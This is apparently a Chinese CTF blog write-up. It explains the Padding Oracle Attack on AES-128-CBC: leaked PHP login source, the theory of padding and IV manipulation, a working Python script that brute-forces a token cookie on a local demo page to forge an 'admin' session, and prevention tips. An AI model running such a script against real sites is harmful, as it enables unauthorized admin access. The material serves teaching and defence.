Ywc's blog

Padding Oracle Attack

Word count: 2.3kReading time: 10 min
2018/07/30

Writeup

参考文章:文章1 文章2

进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在login.php, admin.php两个文件,访问admin.php可以发现有权限控制,访问login.php是一个登录界面。

通过尝试可以发现如果随便输入账号密码的话页面返回是Login failed.,但是账号密码都输入admin的话会跳转到admin.php,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。

如果扫描字典够强大的话可以扫到login.php, admin.php都存在备份文件:.login.php.swp, .admin.php.swp

下载备份文件.login.php.swp得到源码(可以用vim -r 恢复)得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
echo '省略';
}
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>

可以看到在session中也做了身份验证,但是由于加密模式是aes-128-cbc,且$token在cookie里,可控,所以这里可以进行Pading Oracle Attack,通过修改$token可以把$_SESSION[‘isadmin’]改为1,这样就成功登录进了admin.php。
因此可以用Pading Oracle Attack攻击

Pading Oracle Attack攻击

参考文章:链接

0x01 简介

Padding Oracle Attack是一种针对CBC模式分组加密算法的攻击。它可以在不知道密钥(key)的情况下,通过对padding bytes的尝试,还原明文,或者构造出任意明文的密文。

0x02 原理

在密码学中,分组加密(Block cipher),又称分块加密或块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密,block的大小常见的有64bit、128bit、256bit等。在分组加密的CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。加密过程大致如下图所示:

Padding-Oracle-Attack

在这个过程中,如果最后一个分组的消息长度没有达到block的大小,则需要填充一些字节,被称为padding。以16个字节一个block为例,如果明文是I_am_Bob,长度为八个字节,则剩下的八个字节被填充了0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08这八个相同的字节,每个字节的值等于需要填充的字节长度。

以aes-128-cbc加密模式为例,加密I_am_Bob的过程大致如下:

Padding-Oracle-Attack

类似的,解密过程大致如下:

Padding-Oracle-Attack

在解密完成后,如果最后的padding值不正确,解密程序往往会抛出异常(padding error)。而利用应用的错误回显,攻击者往往可以判断出padding是否正确,这就是Padding Oracle Attack的前提。

0x03 攻击

如果攻击者已知并可以控制IV的值,那么攻击者就可以进行Padding Oracle Attack。还是以I_am_Bob和aes-128-cbc加密模式为例。攻击者构造IV为16个0字节,那么此时在解密时的padding是不正确的。

Padding-Oracle-Attack

正确的padding值只可能为:

1个字节的padding为0x01

2个字节的padding为0x02,0x02

3个字节的padding为0x03,0x03,0x03

4个字节的padding为0x04,0x04,0x04,0x04

……

因为慢慢调整IV的值,以希望解密后,最后一个字节的值为正确的padding byte,比如一个0x01。

因为middle是固定的(此时我们不知道middle的值),所以从0x00到0xFF之间,只可能有一个值与middle的最后一个字节异或后,结果是0x01。通过遍历这255个值,可以找出IV需要的最后一个字节。

Padding-Oracle-Attack

此时根据异或的性质,使用0x5e和0x01进行异或就可以得到middle的最后一个值0x5f。

在正确匹配了padding “0x01” 后,需要做的是继续推导出剩下的middle。根据padding的标准,当需要padding两个字节时,其值应该为0x02,0x02。而我们已经知道了middle的最后一个字节为0x5f,因此可以更新IV的最后一个字节为0x5f^0x02=0x5d,此时可以开始遍历IV的倒数第二个字节。

Padding-Oracle-Attack

由此可得middle的倒数第二个字节为0x3c^0x02=0x3e。以此类推,可以推导出所有的middle。

获得middle后,与原来的IV进行异或,便可得到明文。在这个过程中,仅仅用到了密文和IV,通过对padding的推导,即可还原出明文,而不需要知道密钥(key)是什么。而IV并不需要保密,它往往是以明文形式发送的。

而获得middle后,还可以通过改变IV,使密文解密为任意明文。根据异或的性质,有:

1
2
3
原明文 ^ 原IV = middle
新明文 ^ 新IV = middle
∴ 原明文 ^ 原IV ^ 新明文 = 新IV

故只要把原IV改为计算得到的新IV,就可使密文解密为任意明文。

0x04 实例

假设某网站的后端身份验证代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
define("SECRET_KEY", "******"); //key不可知
define("METHOD", "aes-128-cbc");
session_start();

function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}

function get_identity(){
$id = '***'; //原明文不可知
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
$_SESSION['isadmin'] = false;
}

function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
}
}else
echo "Error!";
}
}

if(!isset($_SESSION['id']))
get_identity();
test_identity();
if ($_SESSION["isadmin"])
echo "You are admin!";
else
echo "false";
?>

分析代码可知,该网站把用户的id用随机生成的token作为IV进行aes-128-cbc模式加密,并把加密后的id储存在session中,token储存在cookie中。而之后会把session中的id进行解密来验证用户是否为管理员。

在这种情况下,我们可以修改cookie中的token的值,也就是解密时的IV的值,那么就可以进行Padding Oracle Attack,从而获得管理员的身份。

具体的思路是:我们通过Padding Oracle Attack来获得aes-128-cbc加密中的middle的值,然后再修改token的值使其和middle进行xor后所得的值为admin,这样就能通过身份验证,获得管理员权限。

攻击脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-
import requests
import base64
url = 'http://127.0.0.1/cbc.php'
N = 16

def inject_token(token):
header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token}
result = requests.post(url, headers = header)
return result

def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def pad(string, N):
l = len(string)
if l != N:
return string + chr(N - l) * (N - l)

def padding_oracle(N):
get = ""
for i in xrange(1, N+1):
for j in xrange(0, 256):
padding = xor(get, chr(i) * (i-1))
c = chr(0) * (16-i) + chr(j) + padding
result = inject_token(base64.b64encode(c))
if "Error!" not in result.content:
get = chr(j ^ i) + get
break
return get

while 1:
session = requests.get(url).headers['Set-Cookie'].split(',')
phpsession = session[0].split(";")[0][10:]
print phpsession
token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64')
middle1 = padding_oracle(N)
print "\n"
if(len(middle1) + 1 == 16):
for i in xrange(0, 256):
middle = chr(i) + middle1
print "token:" + token
print "middle:" + middle
plaintext = xor(middle,token)
print "plaintext:" + plaintext
des = pad('admin', N)
tmp = ""
print des.encode("base64")
for i in xrange(16):
tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
print tmp.encode('base64')
result = inject_token(base64.b64encode(tmp))
if "You are admin!" in result.content:
print result.content
print "success"
exit()

在这个攻击脚本中需要注意是的middle的后十五位都可以通过Padding Oracle Attack正常的解出,但是在解第一位时按逻辑应该解出全为padding的plaintext(在这个环境下也就是16个0x10),即解密的结果为NULL。而在验证代码中的验证条件为

1
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)

所以在解第一位成功时为if(NULL),依然不满足if条件,无法进入验证成功逻辑,所以要对第一位进行爆破而不是Padding Oracle Attack。

最后攻击结果如图:

Padding-Oracle-Attack

0x05预防

Padding Oracle Attack的关键在于:

1.攻击者能够获知并修改IV

2.攻击者能够获知解密的结果是否符合padding

那么在实现和使用CBC模式的分组加密算法时,只要注意这两点,只要其中任意一个条件不能满足,攻击者就无法实施攻击。

CATALOG
  1. 1. Writeup
  2. 2. Pading Oracle Attack攻击
    1. 2.1. 0x01 简介
    2. 2.2. 0x02 原理
  3. 3. 0x03 攻击
  4. 4. 0x04 实例
  5. 5. 0x05预防